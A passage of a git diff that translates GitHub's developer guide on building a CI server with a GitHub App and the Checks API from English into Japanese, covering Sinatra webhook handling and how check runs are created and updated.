+ボットアカウントは GitHub App 固有のもので、すべての GitHub App に組み込まれています。
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub App bots do not consume a {% data variables.product.prodname_enterprise %} seat. | A machine user account consumes a {% data variables.product.prodname_enterprise %} seat. |
-| Because a GitHub App bot is never granted a password, a customer can't sign into it directly. | A machine user account is granted a username and password to be managed and secured by the customer. |
+| GitHub Apps                                                                  | OAuth App                                                                |
+| ---------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
+| GitHub App ボットは {% data variables.product.prodname_enterprise %} シートを消費しません。 | マシンユーザアカウントは {% data variables.product.prodname_enterprise %} シートを消費します。 |
+| GitHub App ボットにはパスワードが付与されないため、顧客は GitHub App に直接サインインできません。                 | マシンユーザアカウントには、ユーザ名およびパスワードが付与されます。顧客はそれらを管理および保護します。                     |
diff --git a/translations/ja-JP/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md b/translations/ja-JP/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
index 18dedaa63a..c6e16f8c09 100644
--- a/translations/ja-JP/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
+++ b/translations/ja-JP/content/developers/apps/guides/creating-ci-tests-with-the-checks-api.md
@@ -1,6 +1,6 @@
 ---
-title: Creating CI tests with the Checks API
-intro: 'Build a continuous integration server to run tests using a {% data variables.product.prodname_github_app %} and the Checks API.'
+title: Checks API で CI テストを作成する
+intro: '{% data variables.product.prodname_github_app %} と Checks API を使用して、テストを実行するための継続的インテグレーションサーバーを構築します。'
 redirect_from:
   - /apps/quickstart-guides/creating-ci-tests-with-the-checks-api
   - /developers/apps/creating-ci-tests-with-the-checks-api
@@ -11,99 +11,100 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: CI tests using Checks API
+shortTitle: Checks API を使用した CI テスト
 ---
-## Introduction
 
-This guide will introduce you to [GitHub Apps](/apps/) and the [Checks API](/rest/reference/checks), which you'll use to build a continuous integration (CI) server that runs tests.
+## はじめに
 
-CI is a software practice that requires frequently committing code to a shared repository. Committing code more often raises errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. 🙌
+このガイドでは、[GitHub App](/apps/) と [Checks API](/rest/reference/checks) について紹介します。Checks API は、テストを実行する継続的インテグレーション (CI) サーバーを構築するために使用します。
 
-A CI server hosts code that runs CI tests such as code linters (which check style formatting), security checks, code coverage, and other checks against new code commits in a repository. CI servers can even build and deploy code to staging or production servers. For some examples of the types of CI tests you can create with a GitHub App, check out the [continuous integration apps](https://github.com/marketplace/category/continuous-integration) available in GitHub Marketplace.
+CI とは、ソフトウェアの開発においてコードを頻繁に共有リポジトリにコミットする手法のことです。 コードをコミットする頻度が高いほどエラーの発生が早くなり、開発者がエラーの原因を見つけようとしてデバッグする必要性も減ります。 コードの更新が頻繁であれば、ソフトウェア開発チームの他のメンバーによる変更をマージするのも、それだけ容易になります。 コードの記述により多くの時間をかけられるようになり、エラーのデバッグやマージコンフリクトの解決にかける時間が減るので、これは開発者にとって素晴らしいやり方です。 🙌
+
+CI サーバーは、コードの文法チェッカー (スタイルフォーマットをチェックする)、セキュリティチェック、コード網羅率、その他のチェックといった CI テストをリポジトリの新しいコードコミットに対して実行するコードをホストします。 CI サーバーは、ステージングサーバーや本番サーバーにコードを構築しデプロイすることも可能です。 GitHub App で作成できる CI テストのタイプの例については、GitHub Marketplace で入手できる[継続的インテグレーションアプリケーション](https://github.com/marketplace/category/continuous-integration)を確認してください。
 
 {% data reusables.apps.app-ruby-guides %}
 
-### Checks API overview
+### Checks API の概要
 
-The [Checks API](/rest/reference/checks) allows you to set up CI tests that are automatically run against each code commit in a repository. The Checks API reports detailed information about each check on GitHub in the pull request's **Checks** tab. With the Checks API, you can create annotations with additional details for specific lines of code. Annotations are visible in the **Checks** tab. When you create an annotation for a file that is part of the pull request, the annotations are also shown in the **Files changed** tab.
+[Checks API](/rest/reference/checks) を使用すると、リポジトリでコミットされている各コードに対して自動的に実行される CI テストを設定できます。 Checks API は、プルリクエストの [**Checks**] タブにおいて、各チェックについての詳細情報をレポートします。 Checks API を使用すると、コードの特定の行に対して追加的な情報を含むアノテーションを作成できます。 アノテーションは [**Checks**] タブに表示されます。 プルリクエストの一部であるファイルに対してアノテーションを作成すると、そのアノテーションは [**Files changed**] タブにも表示されます。
 
-A _check suite_ is a group of _check runs_ (individual CI tests). Both the suite and the runs contain _statuses_ that are visible in a pull request on GitHub. You can use statuses to determine when a code commit introduces errors. Using these statuses with [protected branches](/rest/reference/repos#branches) can prevent people from merging pull requests prematurely. See "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" for more details.
+_チェックスイート_とは、 _チェック実行_ (個々の CI テスト) をグループ化したものです。 チェックスイートにもチェック実行にも_ステータス_が含まれており、GitHub のプルリクエストで表示できます。 ステータスを使用して、コードコミットがエラーを発生させるタイミングを決定できます。 これらのステータスを[保護されたブランチ](/rest/reference/repos#branches)で使用すると、プルリクエストを早まってマージすることを防げます。 詳細は「[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)」を参照してください。
 
-The Checks API sends the [`check_suite` webhook event](/webhooks/event-payloads/#check_suite) to all GitHub Apps installed on a repository each time new code is pushed to the repository. To receive all Checks API event actions, the app must have the `checks:write` permission. GitHub automatically creates `check_suite` events for new code commits in a repository using the default flow, although [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites) if you'd like. Here's how the default flow works:
+Checks API は、新しいコードがリポジトリにプッシュされるたびに、リポジトリにインストールされている全ての GitHub App に [`check_suite` webhook イベント](/webhooks/event-payloads/#check_suite)を送信します。 Checks API イベントの全てのアクションを受信するには、アプリケーションに `checks:write` 権限が必要です。 GitHub はデフォルトのフローを使ってリポジトリの新しいコードのコミットに `check_suite` イベントを自動的に作成しますが、[チェックスイートのためのリポジトリプリファレンスの更新](/rest/reference/checks#update-repository-preferences-for-check-suites)を行っても構いません。 デフォルトのフローは以下の通りです。
 
-1. Whenever someone pushes code to the repository, GitHub sends the `check_suite` event with an action of `requested` to all GitHub Apps installed on the repository that have the `checks:write` permission. This event lets the apps know that code was pushed and that GitHub has automatically created a new check suite.
-1. When your app receives this event, it can [add check runs](/rest/reference/checks#create-a-check-run) to that suite.
-1. Your check runs can include [annotations](/rest/reference/checks#annotations-object) that are displayed on specific lines of code.
+1. 誰かがリポジトリにコードをプッシュすると、GitHubは、`checks:write` 権限を持つ、リポジトリにインストールされている全ての GitHub Apps に `requested` のアクションと共に `check_suite` イベントを送信します。 このイベントにより、コードがプッシュされたことと、GitHub が新しいチェックスイートを自動的に作成したことがアプリケーションに通知されます。
+1. アプリケーションがこのイベントを受信すると、アプリケーションはスイートに[チェック実行を追加](/rest/reference/checks#create-a-check-run)できます。
+1. チェック実行には、コードの特定の行で表示される[アノテーション](/rest/reference/checks#annotations-object)を含めることができます。
 
-**In this guide, you’ll learn how to:**
+**このガイドでは、次のこと行う方法について学びます。**
 
-* Part 1: Set up the framework for a CI server using the Checks API.
-  * Configure a GitHub App as a server that receives Checks API events.
-  * Create new check runs for CI tests when a repository receives newly pushed commits.
-  * Re-run check runs when a user requests that action on GitHub.
-* Part 2: Build on the CI server framework you created by adding a linter CI test.
-  * Update a check run with a `status`, `conclusion`, and `output` details.
-  * Create annotations on lines of code that GitHub displays in the **Checks** and **Files Changed** tab of a pull request.
-  * Automatically fix linter recommendations by exposing a "Fix this" button in the **Checks** tab of the pull request.
+* パート 1: Checks API を使用して CI サーバー用のフレームワークをセットアップする。
+  * Checks API イベントを受信するサーバーとして GitHub App を構成します。
+  * 新たにプッシュされたコミットをリポジトリが受信した時に、CI テスト用の新しいチェック実行を作成します。
+  * ユーザが GitHub でチェック実行のアクションをリクエストした時に、チェック実行を再実行します。
+* パート 2: 文法チェッカー CI テストを追加して、作成した CI サーバーフレームワークを基に構築する。
+  * `status`、`conclusion`、`output` の情報を入力して、チェック実行を更新します。
+  * プルリクエストの [**Checks**] および [**Files Changed**] タブで GitHub が表示する、コードの行のアノテーションを作成します。
+  * プルリクエストの [**Checks**] タブに [Fix this] ボタンを表示して、文法チェッカーによる推奨事項を自動的に適用します。
 
-To get an idea of what your Checks API CI server will do when you've completed this quickstart, check out the demo below:
+このクイックスタートを完了したときに Checks API CI サーバーがどのように動作するかを理解するには、以下のデモをご覧ください。
 
-![Demo of Checks API CI sever quickstart](/assets/images/github-apps/github_apps_checks_api_ci_server.gif)
+![Checks API CI サーバークイックスタートのデモ](/assets/images/github-apps/github_apps_checks_api_ci_server.gif)
 
-## Prerequisites
+## 必要な環境
 
-Before you get started, you may want to familiarize yourself with [GitHub Apps](/apps/), [Webhooks](/webhooks), and the [Checks API](/rest/reference/checks), if you're not already. You'll find more APIs in the [REST API docs](/rest). The Checks API is also available to use in [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql), but this quickstart focuses on REST. See the GraphQL [Checks Suite]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#checksuite) and [Check Run]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#checkrun) objects for more details.
+[GitHub Apps](/apps/)、[webhook](/webhooks)、[Checks API](/rest/reference/checks) を使い慣れていない場合は、以下の作業に取りかかる前にある程度慣れておくとよいでしょう。 [REST API ドキュメント](/rest)には、さらに多くの API が掲載されています。 Checks API は [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) でも使用できますが、このクイックスタートでは REST に焦点を当てます。 詳細については、GraphQL [Checks Suite]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#checksuite) および [Check Run]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#checkrun) オブジェクトを参照してください。
 
-You'll use the [Ruby programming language](https://www.ruby-lang.org/en/), the [Smee](https://smee.io/) webhook payload delivery service, the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/) for the GitHub REST API, and the [Sinatra web framework](http://sinatrarb.com/) to create your Checks API CI server app.
+[Ruby プログラミング言語](https://www.ruby-lang.org/en/)、[Smee](https://smee.io/) webhook ペイロード配信サービス、GitHub REST API 用の [Octokit.rb Ruby ライブラリ](http://octokit.github.io/octokit.rb/)、および [Sinatra ウェブフレームワーク](http://sinatrarb.com/) を使用して、Checks API CI サーバーアプリケーションを作成します。
 
-You don't need to be an expert in any of these tools or concepts to complete this project. This guide will walk you through all the required steps. Before you begin creating CI tests with the Checks API, you'll need to do the following:
+このプロジェクトを完了するために、これらのツールや概念のエキスパートである必要はありません。 このガイドでは、必要なステップを順番に説明していきます。 Checks API で CI テストを作成する前に、以下を行う必要があります。
 
-1. Clone the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository.
+1. [Checks API で CI テストを作成する](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) リポジトリをクローンします。
   ```shell
     $ git clone https://github.com/github-developer/creating-ci-tests-with-the-checks-api.git
   ```
 
-  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+  ディレクトリの中には、このクイックスタートで使用する `template_server.rb` ファイルと、完成したプロジェクトコードである `server.rb` ファイルがあります。
 
-1. Follow the steps in the "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)" quickstart to configure and run the app server. **Note:** Instead of [cloning the GitHub App template repository](/apps/quickstart-guides/setting-up-your-development-environment/#prerequisites), use the `template_server.rb` file in the repository you cloned in the previous step in this quickstart.
+1. 「[開発環境をセットアップする](/apps/quickstart-guides/setting-up-your-development-environment/)」クイックスタートに記載されたステップに従い、アプリケーションサーバーを構成して実行します。 **注釈:** [GitHub App のテンプレートリポジトリをクローンする](/apps/quickstart-guides/setting-up-your-development-environment/#prerequisites)のではなく、このクイックスタートの直前のステップでクローンしたリポジトリにある `template_server.rb` ファイルを使用します。
 
-  If you've completed a GitHub App quickstart before, make sure to register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+  GitHub App クイックスタートガイドを以前に完了している場合、このクイックスタートでは必ず_新たな_ GitHub App を登録し、このクイックスタートで使用する Smee チャンネルを新しく開始するようにしてください。
 
-  See the [troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+  テンプレート GitHub App の設定で問題にぶつかった場合は、[トラブルシューティング](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting)のセクションを参照してください。
 
-## Part 1. Creating the Checks API interface
+## パート1. Checks API インターフェースを作成する
 
-In this part, you will add the code necessary to receive `check_suite` webhook events and create and update check runs. You'll also learn how to create check runs when a check was re-requested on GitHub. At the end of this section, you'll be able to view the check run you created in a GitHub pull request.
+このパートでは、`check_suite` webhook イベントを受信するために必要なコードを追加し、チェック実行を作成して更新します。 また、GitHub でチェックが再リクエストされた場合にチェック実行を作成する方法についても学びます。 このセクションの最後では、GitHub プルリクエストで作成したチェック実行を表示できるようになります。
 
-Your check run will not be performing any checks on the code in this section. You'll add that functionality in [Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test).
+このセクションでは、作成したチェック実行はコードでチェックを実行しません。 この機能については、[パート 2: Octo RuboCop CI テストを作成する](#part-2-creating-the-octo-rubocop-ci-test)で追加します。
 
-You should already have a Smee channel configured that is forwarding webhook payloads to your local server. Your server should be running and connected to the GitHub App you registered and installed on a test repository. If you haven't completed the steps in "[Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/)," you'll need to do that before you can continue.
+ローカルサーバーにwebhook ペイロードを転送するよう Smee チャンネルが構成されているでしょうか。 サーバーは実行中で、登録済みかつテストリポジトリにインストールした GitHub App に接続している必要があります。 「[開発環境をセットアップする](/apps/quickstart-guides/setting-up-your-development-environment/)」のステップを完了していない場合は、次に進む前にこれを実行する必要があります。
 
-Let's get started! These are the steps you'll complete in Part 1:
+さあ、始めましょう！ パート 1 では、以下のステップを完了させます。
 
-1. [Updating app permissions](#step-11-updating-app-permissions)
-1. [Adding event handling](#step-12-adding-event-handling)
-1. [Creating a check run](#step-13-creating-a-check-run)
-1. [Updating a check run](#step-14-updating-a-check-run)
+1. [アプリケーションの権限を更新する](#step-11-updating-app-permissions)
+1. [イベントの処理を追加する](#step-12-adding-event-handling)
+1. [チェック実行を作成する](#step-13-creating-a-check-run)
+1. [チェック実行を更新する](#step-14-updating-a-check-run)
 
-## Step 1.1. Updating app permissions
+## ステップ 1.1. アプリケーションの権限を更新する
 
-When you [first registered your app](#prerequisites), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read and write checks.
+[最初にアプリケーションを登録](#prerequisites)した際は、デフォルトの権限を受け入れています。これは、アプリケーションがほとんどのリソースにアクセスできないことを意味します。 この例においては、アプリケーションにはチェックを読み取りおよび書き込みする権限が必要となります。
 
-To update your app's permissions:
+アプリケーションの権限を更新するには、以下の手順に従います。
 
-1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
-1. In the "Permissions" section, find "Checks", and select **Read & write** in the Access dropdown next to it.
-1. In the "Subscribe to events" section, select **Check suite** and **Check run** to subscribe to these events.
+1. [アプリケーションの設定ページ](https://github.com/settings/apps)からアプリケーションを選択し、サイドバーの [**Permissions & Webhooks**] をクリックします。
+1. [Permissions] セクションで [Checks] を見つけて、隣にある [Access] ドロップダウンで [**Read & write**] を選択します。
+1. [Subscribe to events] セクションで [**Check suite**] と [**Check run**] を選択してこれらのイベントをサブスクライブします。
 {% data reusables.apps.accept_new_permissions_steps %}
 
-Great! Your app has permission to do the tasks you want it to do. Now you can add the code to handle the events.
+これでうまくいきました。 アプリケーションは必要なタスクを実行する権限を所有しています。 これでイベントを処理するコードを追加できるようになりました。
 
-## Step 1.2. Adding event handling
+## ステップ 1.2. イベントの処理を追加する
 
-Now that your app is subscribed to the **Check suite** and **Check run** events, it will start receiving the [`check_suite`](/webhooks/event-payloads/#check_suite) and [`check_run`](/webhooks/event-payloads/#check_run) webhooks. GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads at the `post '/event_handler'` route.
+ここまでで、アプリケーションが **Check suite** および **Check run** イベントにサブスクライブされ、[`check_suite`](/webhooks/event-payloads/#check_suite) および [`check_run`](/webhooks/event-payloads/#check_run) webhook を受信し始めます。 GitHub は webhook ペイロードを `POST` リクエストとして送信します。 Smee webhook ペイロードを `http://localhost/event_handler:3000` に転送したため、サーバーは `POST` リクエストのペイロードを `post '/event_handler'` ルートで受信します。
 
-An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+空の `post '/event_handler'` ルートは、[必要な環境](#prerequisites)セクションでダウンロードした `template_server.rb` ファイルに既に含まれています。 空のルートは次のようになっています。
 
 ``` ruby
   post '/event_handler' do
@@ -116,7 +117,7 @@ An empty `post '/event_handler'` route is already included in the `template_serv
   end
 ```
 
-Use this route to handle the `check_suite` event by adding the following code:
+次のコードを追加し、このルートを使用して `check_suite` イベントを処理します。
 
 ``` ruby
 # Get the event type from the HTTP_X_GITHUB_EVENT header
@@ -129,13 +130,13 @@ when 'check_suite'
 end
 ```
 
-Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in events of type `check_suite`, which are emitted when a new check suite is created. Each event has an additional `action` field that indicates the type of action that triggered the events. For `check_suite`, the `action` field can be `requested`, `rerequested`, or `completed`.
+GitHub が送信する全てのイベントには、`HTTP_X_GITHUB_EVENT` というリクエストヘッダが含まれており、これは `POST` リクエストのイベントの型を示します。 ここでは `check_suite` 型のイベントにのみ注目しましょう。これは新しいチェックスイートが作成された時に発生します。 各イベントには、アクションをトリガーしたイベントのタイプを示す `action` フィールドが付いています。 `check_suite` では、`action` フィールドは `requested`、`rerequested`、`completed` のいずれかとなります。
 
-The `requested` action requests a check run each time code is pushed to the repository, while the `rerequested` action requests that you re-run a check for code that already exists in the repository. Because both the `requested` and `rerequested` actions require creating a check run, you'll call a helper called `create_check_run`. Let's write that method now.
+`requested` アクションはリポジトリにコードがプッシュされるたびにチェック実行をリクエストし、`rerequested` アクションはリポジトリに既存のコードにチェックを再実行するようリクエストします。 `requested` と `rerequested` の両方のアクションでチェック実行の作成が必要なため、`create_check_run` というヘルパーを呼び出します。 では、このメソッドを書いてみましょう。
 
-## Step 1.3. Creating a check run
+## ステップ 1.3. チェック実行を作成する
 
-You'll add this new method as a [Sinatra helper](https://github.com/sinatra/sinatra#helpers) in case you want other routes to use it too. Under `helpers do`, add this `create_check_run` method:
+他のルートでも使用する場合のために、新しいメソッドを [Sinatra ヘルパー](https://github.com/sinatra/sinatra#helpers) として追加します。 `helpers do` の下に、以下の `create_check_run` メソッドを追加します。
 
 ``` ruby
 # Create a new check run with the status queued
@@ -154,17 +155,17 @@ def create_check_run
 end
 ```
 
-This code calls the "[Create a check run](/rest/reference/checks#create-a-check-run)" endpoint using the [create_check_run method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:create_check_run).
+このコードは[create_check_run method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:create_check_run)メソッドを使用して、[Create a check run](/rest/reference/checks#create-a-check-run)エンドポイントを呼び出します。
 
-To create a check run, only two input parameters are required: `name` and `head_sha`. We will use [Rubocop](https://rubocop.readthedocs.io/en/latest/) to implement the CI test later in this quickstart, which is why the name "Octo Rubocop" is used here, but you can choose any name you'd like for the check run.
+チェック実行を作成するために必要なのは、`name` と `head_sha` の 2 つの入力パラメータのみです。 このクイックスタートでは、後で [Rubocop](https://rubocop.readthedocs.io/en/latest/) を使用して CI テストを実装します。そのため、ここでは「Octo Rubocop」という名前を使っていますが、チェック実行には任意の名前を選ぶことができます。
 
-You're only supplying the required parameters now to get the basic functionality working, but you'll update the check run later as you collect more information about the check run. By default, GitHub sets the `status` to `queued`.
+ここでは基本的な機能を実行するため必要なパラメータのみを指定していますが、チェック実行について必要な情報を収集するため、後でチェック実行を更新することになります。 デフォルトでは、GitHub は `status` を `queued` に設定します。
 
-GitHub creates a check run for a specific commit SHA, which is why `head_sha` is a required parameter. You can find the commit SHA in the webhook payload. Although you're only creating a check run for the `check_suite` event right now, it's good to know that the `head_sha` is included in both the `check_suite` and `check_run` objects in the event payloads.
+GitHub は特定のコミット SHA に対するチェック実行を作成します。これが `head_sha` が必須パラメータである理由です。 コミット SHA は、webhook ペイロードで確認できます。 現時点では `check_suite` イベントにチェック実行を作成しているだけですが、`head_sha` がイベントペイロードの `check_suite` と `check_run` の両方のオブジェクトに含まれていることは知っておくとよいでしょう。
 
-In the code above, you're using the [ternary operator](https://ruby-doc.org/core-2.3.0/doc/syntax/control_expressions_rdoc.html#label-Ternary+if), which works like an `if/else` statement, to check if the payload contains a `check_run` object. If it does, you read the `head_sha` from the `check_run` object, otherwise you read it from the `check_suite` object.
+上記のコードでは、`if/else` 文のように機能する[三項演算子](https://ruby-doc.org/core-2.3.0/doc/syntax/control_expressions_rdoc.html#label-Ternary+if)を使用して、ペイロードが `check_run` オブジェクトを含んでいるか確認しています。 含んでいる場合、`check_run` オブジェクトから `head_sha` を読み取り、含んでいない場合は `check_suite` オブジェクトから読み取ります。
 
-To test this code, restart the server from your terminal:
+このコードをテストするには、サーバーをターミナルから再起動します。
 
 ```shell
 $ ruby template_server.rb
@@ -172,21 +173,21 @@ $ ruby template_server.rb
 
 {% data reusables.apps.sinatra_restart_instructions %}
 
-Now open a pull request in the repository where you installed your app. Your app should respond by creating a check run on your pull request. Click on the **Checks** tab, and you should see something like this:
+さて、それではアプリケーションをインストールしたリポジトリにあるプルリクエストを開いてください。 アプリケーションは応答し、プルリクエストのチェック実行を作成するはずです。 [**Checks**] タブをクリックすると、画面が以下のようになっているはずです。
 
-![Queued check run](/assets/images/github-apps/github_apps_queued_check_run.png)
+![キューに入ったチェック実行](/assets/images/github-apps/github_apps_queued_check_run.png)
 
-If you see other apps in the Checks tab, it means you have other apps installed on your repository that have **Read & write** access to checks and are subscribed to **Check suite** and **Check run** events.
+[Checks] タブに他のアプリケーションが表示されている場合は、チェックに対して**読み取りおよび書き込み**アクセス権を持ち、**Check suite** および **Check run** イベントにサブスクライブしている他のアプリケーションをリポジトリにインストールしているものと思われます。
 
-Great! You've told GitHub to create a check run. You can see the check run status is set to `queued` next to a yellow icon. Next, you'll want to wait for GitHub to create the check run and update its status.
+これでうまくいきました。 ここまでで、GitHub にチェック実行を作成するよう指示しました。 チェック実行のステータスが `queued` に設定されていることが、黄色のアイコンの右側で確認できます。 次は、GitHub がチェック実行を作成し、ステータスを更新するのを待てばよいでしょう。
 
-## Step 1.4. Updating a check run
+## ステップ 1.4. チェック実行を更新する
 
-When your `create_check_run` method runs, it asks GitHub to create a new check run. When GitHub finishes creating the check run, you'll receive the `check_run` webhook event with the `created` action. That event is your signal to begin running the check.
+`create_check_run` メソッドが実行されると、メソッドは GitHub に新しいチェック実行を作成するよう依頼します。 GitHub がチェック実行の作成を完了すると、`created` アクションの `check_run` webhook イベントを受信します。 このイベントは、チェックの実行を開始する合図です。
 
-You'll want to update your event handler to look for the `created` action. While you're updating the event handler, you can add a conditional for the `rerequested` action. When someone re-runs a single test on GitHub by clicking the "Re-run" button, GitHub sends the `rerequested` check run event to your app. When a check run is `rerequested`, you'll want to start the process all over and create a new check run.
+イベントハンドラーを更新し、`created` アクションを待ち受けるようにしましょう。 イベントハンドラーを更新する際、`rerequested` アクションに条件を追加できます。 誰かが [Re-run] ボタンをクリックして GitHub 上で単一のテストを再実行すると、GitHub はアプリケーションに `rerequested` チェック実行イベントを送信します。 チェック実行が `rerequested` の場合、すべてのプロセスを開始し、新しいチェック実行を作成します。
 
-To include a condition for the `check_run` event in the `post '/event_handler'` route, add the following code under `case request.env['HTTP_X_GITHUB_EVENT']`:
+`post '/event_handler'` ルートに `check_run` イベントの条件を含めるには、`case request.env['HTTP_X_GITHUB_EVENT']` の下に次のコードを追加します。
 
 ``` ruby
 when 'check_run'
@@ -201,13 +202,13 @@ when 'check_run'
   end
 ```
 
-GitHub sends all events for `created` check runs to every app installed on a repository that has the necessary checks permissions. That means that your app will receive check runs created by other apps. A `created` check run is a little different from a `requested` or `rerequested` check suite, which GitHub sends only to apps that are being requested to run a check. The code above looks for the check run's application ID. This filters out all check runs for other apps on the repository.
+GitHub は `created` チェック実行のすべてのイベントを、必要なチェック権限を持つリポジトリにインストールされたあらゆるアプリケーションに送信します。 これはつまり、あなたのアプリケーションが他のアプリケーションにより作成されたチェック実行を受信するということです。 `created` チェック実行は、チェックを要求されているアプリケーションのみに GitHub が送信する `requested` や `rerequested` チェックスイートとは少し違います。 上記のコードは、チェック実行のアプリケーション ID を待ち受けます。 リポジトリの他のアプリケーションに対するチェック実行はすべて遮断されます。
 
-Next you'll write the `initiate_check_run` method, which is where you'll update the check run status and prepare to kick off your CI test.
+次に `initiate_check_run` メソッドを書きます。これは、チェック実行のステータスを更新し、CI テストの開始を準備するものです。
 
-In this section, you're not going to kick off the CI test yet, but you'll walk through how to update the status of the check run from `queued` to `pending` and then from `pending` to `completed` to see the overall flow of a check run. In "[Part 2: Creating the Octo RuboCop CI test](#part-2-creating-the-octo-rubocop-ci-test)," you'll add the code that actually performs the CI test.
+このセクションでは、まだ CI テストは開始しません。その代わり、チェック実行のステータスを `queued` から `pending` に、そしてその後 `pending` から `completed` に更新する手順を確認し、チェック実行のフロー全体を確認します。 「[パート2: Octo RuboCop CI テストを作成する](#part-2-creating-the-octo-rubocop-ci-test)」では、CI テストを実際に実行するコードを追加します。
 
-Let's create the `initiate_check_run` method and update the status of the check run. Add the following code to the helpers section:
+`initiate_check_run` メソッドを作成し、チェック実行のステータスを更新しましょう。 以下のコードを helpers セクションに追加します。
 
 ``` ruby
 # Start the CI process
@@ -236,53 +237,53 @@ def initiate_check_run
 end
 ```
 
-The code above calls the "[Update a check run](/rest/reference/checks#update-a-check-run)" API endpoint using the [`update_check_run` Octokit method](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:update_check_run) to update the check run that you already created.
+上記のコードは、[`update_check_run` Octokit メソッド](https://rdoc.info/gems/octokit/Octokit%2FClient%2FChecks:update_check_run)を使用して「[チェック実行を更新する](/rest/reference/checks#update-a-check-run)」API エンドポイントを呼び出し、既に作成したチェック実行を更新します。
 
-Here's what this code is doing. First, it updates the check run's status to `in_progress` and implicitly sets the `started_at` time to the current time. In [Part 2](#part-2-creating-the-octo-rubocop-ci-test) of this quickstart, you'll add code that kicks off a real CI test under `***** RUN A CI TEST *****`. For now, you'll leave that section as a placeholder, so the code that follows it will just simulate that the CI process succeeds and all tests pass. Finally, the code updates the status of the check run again to `completed`.
+このコードがしていることを説明しましょう。 まず、チェック実行のステータスを `in_progress` に更新し、`started_at` の時刻を現在の時刻に暗黙的に設定します。 このクイックスタートの[パート 2](#part-2-creating-the-octo-rubocop-ci-test)では、実際の CI テストを開始するコードを `***** RUN A CI TEST *****` の下に追加します。 今はこのセクションをプレースホルダーとして残しておきましょう。そうすると、続くコードが CI のプロセスを成功させ、すべてのテストに合格したことをシミュレートすることになります。 最後に、コードはチェック実行のステータスを再び `completed` に更新します。
 
-You'll notice in the "[Update a check run](/rest/reference/checks#update-a-check-run)" docs that when you provide a status of `completed`, the `conclusion` and `completed_at` parameters are required. The `conclusion` summarizes the outcome of a check run and can be `success`, `failure`, `neutral`, `cancelled`, `timed_out`, or `action_required`. You'll set the conclusion to `success`, the `completed_at` time to the current time, and the status to `completed`.
+「[チェック実行を更新する](/rest/reference/checks#update-a-check-run)」 ドキュメントに、`completed` のステータスを指定すると、`conclusion` と `completed_at` のパラメータが必須となることが書かれています。 `conclusion` はチェック実行の結果を要約するもので、`success`、`failure`、`neutral`、`cancelled`、`timed_out`、`action_required` のいずれかになります。 この結果 (conclusion) は `success` に、`completed_at` の時刻は現在の時刻に、ステータスは `completed` に設定します。
 
-You could also provide more details about what your check is doing, but you'll get to that in the next section. Let's test this code again by re-running `template_server.rb`:
+チェックが行っていることについてより詳しく指定することもできますが、それは次のセクションで行うことにします。 では、`template_server.rb` を実行して、このコードを再びテストしましょう。
 
 ```shell
 $ ruby template_server.rb
 ```
 
-Head over to your open pull request and click the **Checks** tab. Click the "Re-run all" button in the upper left corner. You should see the check run move from `pending` to `in_progress` and end with `success`:
+開いたプルリクエストに移動し、[**Checks**] タブをクリックします。 左上隅にある [Re-run all] ボタンをクリックしてください。 チェック実行が `pending` から `in_progress` に移動し、`success` で終わることが確認できるはずです。
 
-![Completed check run](/assets/images/github-apps/github_apps_complete_check_run.png)
+![完了したチェック実行](/assets/images/github-apps/github_apps_complete_check_run.png)
 
-## Part 2. Creating the Octo RuboCop CI test
+## パート2. Octo RuboCop CI テストを作成する
 
-[RuboCop](https://rubocop.readthedocs.io/en/latest/) is a Ruby code linter and formatter. It checks Ruby code to ensure that it complies with the "[Ruby Style Guide](https://github.com/rubocop-hq/ruby-style-guide)." RuboCop has three primary functions:
+[RuboCop](https://rubocop.readthedocs.io/en/latest/) は Ruby のコード文法チェッカーおよびフォーマッタです。 Ruby のコードが「[Ruby スタイルガイド](https://github.com/rubocop-hq/ruby-style-guide)」に準拠するようチェックします。 RuboCop の主な機能は、以下の 3 つです。
 
-* Linting to check code style
-* Code formatting
-* Replaces the native Ruby linting capabilities using `ruby -w`
+* コードのスタイルを確認する文法チェック
+* コードの整形
+* `ruby -w` を使用するネイティブの Ruby 文法チェック機能を置き換える
 
